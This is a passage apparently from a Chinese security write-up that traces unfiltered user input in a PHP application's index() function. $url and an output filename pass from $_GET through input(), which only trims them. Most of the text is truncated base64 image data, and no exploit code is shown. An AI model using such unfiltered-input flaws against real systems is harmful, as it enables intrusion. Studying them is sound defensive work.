36tIi0bdv2umEQFZ2l2md3xMGDBzdt2qQO3r59+7Llfn5+gwYNqvwgTz311DvvvFO2PDc3t1evXmfOnBGRli1bRkdH12LLa11+fv6LL7744YcfqvmBSt++fV977bWBAwdWtJfj1zhz5syVK1dKxd1l71//+teOHTtEpHHjxvUhDMLB9pw7d+7ll1/+6quv7GdXtm7d+tNPPy11FzleMzU19bHHHlu/fr1e4uPjM3To0E8++cTLy8u+ptVqfe2119588037T3Dw4MGLFy8ODg6u4hXXgrIxECKyY8cOs9k8ePDgcnfZunVrbm6u2g4ICLjhTXTM8ePH58yZIyItWrSoKAziscces1gss2bNGjhwYHZ2tqp/XcHBwRcvXnSkZtOmTadNm6a3pCITJkx49913y/248/LyPvjgg5ycnH79+pV667PPPnvhhRfGjBmzatUqRxpjtlqtJpPJ/j6r11p3ke5Dxb+Z+ARKbpZkpEh8lOzdKIWWOmuSm6f0HHFlO+GUxB2rs5Y4QP+S6tGjh5OTk4gYjcZKQmZcXFzsIwcNBkPz5s0PHDggDXbeeX5+flJSUnJyckpKSkFBgbe3t4+PT4cOHby9veu6aQ5JSUm5ePGii4uLg4FODYhae0X9uaZCj5s2bSoiDSLstErUL6K6rq1bt4rIkSNHRGTkyJEi0rJly7psHAAAAAAAAAA0WM8++2xmZqaIDBgwoNYDEa57lht69s8//1xtTJ482T61sF4+YsSIpUuXVu/gc+bMUfEB9V9xcfHAgQPVP6rb271794gRI9avXz9s2LByd3TwGmNjYzds2FALDa3HLly4MGTIkISEhFLlcXFxd99994IFC6ZPn17VmufOnevfv39KSop9tczMzFWrViUmJn733Xeenp6qUNO0kSNHRkZGljpmZGTknXfe+eOPP1ae0aTW5eXlRURE6C2/8847T5w4oeKZtm3bJiJlIyEiIyO3b9+utn19fcPDw29ec2uVm5ubmgCvu3jxokot06lTJzc3N73c19c3NDTUkZqlgkLatGmjj8CWlJQkJSWlpKRomrZy5cqYmJjdu3eXTZS+atWqnJycgQMHlurY6OjoDz74oEoXaDYYDA0jBsInQB6dJ+F3lC7vd6+MeVw2LpCty+qiWSKevjLpuSvbm5fU8zCItm3bqrwlW7Zs6dy5c9lcNBaL5dKlSyISEBDg6upa6t2SkhI1atukSZOGmAri1KlTW7ZssU/bomK79u7d2759+8GDBzdq1KjuWueQc+fO7dq1S6V4quu2AAAAAAAAAAAaPLPZ7GDN+v9P6Leq4uLir776Sm3rA8+lykeOHFm9MIglS5ZUO37i5nv77bf1GAgvL6+OHTseOXIkPz9fRIqLiydOnHjx4kVnZ+dSezlyjSUlJZs2bZo9e7YaAr+FPf3003pkQ8+ePe++++7z589/+eWXRUVFmqY988wzI0eO9PPzq1LNJ554Qo8k8PLy6tSp04kTJy5fviwie/fuffjhh1evXq3eXbNmjR4D4ezs3LVr19jYWDU5NjU19ZVXXlm+fPlN64rc3NyLine truncated
|
||||
<p blockindex=14>代码分析:<br>
|
||||
定位到核心函数 index() 处,$url 和 $ourput_filename 参数均由封装的 get 方法获取,跟进到 request()->get() 里。<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=15>从 <code>$_GET</code> 变量中获取到请求的数据并存储在自身的属性 $get 中,再跟进到 input() 方法中。<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=16>input() 主要对传入的格式进行 trim() 操作,没有其他过滤。<br>
|
||||
<img src="data:image/png;base64,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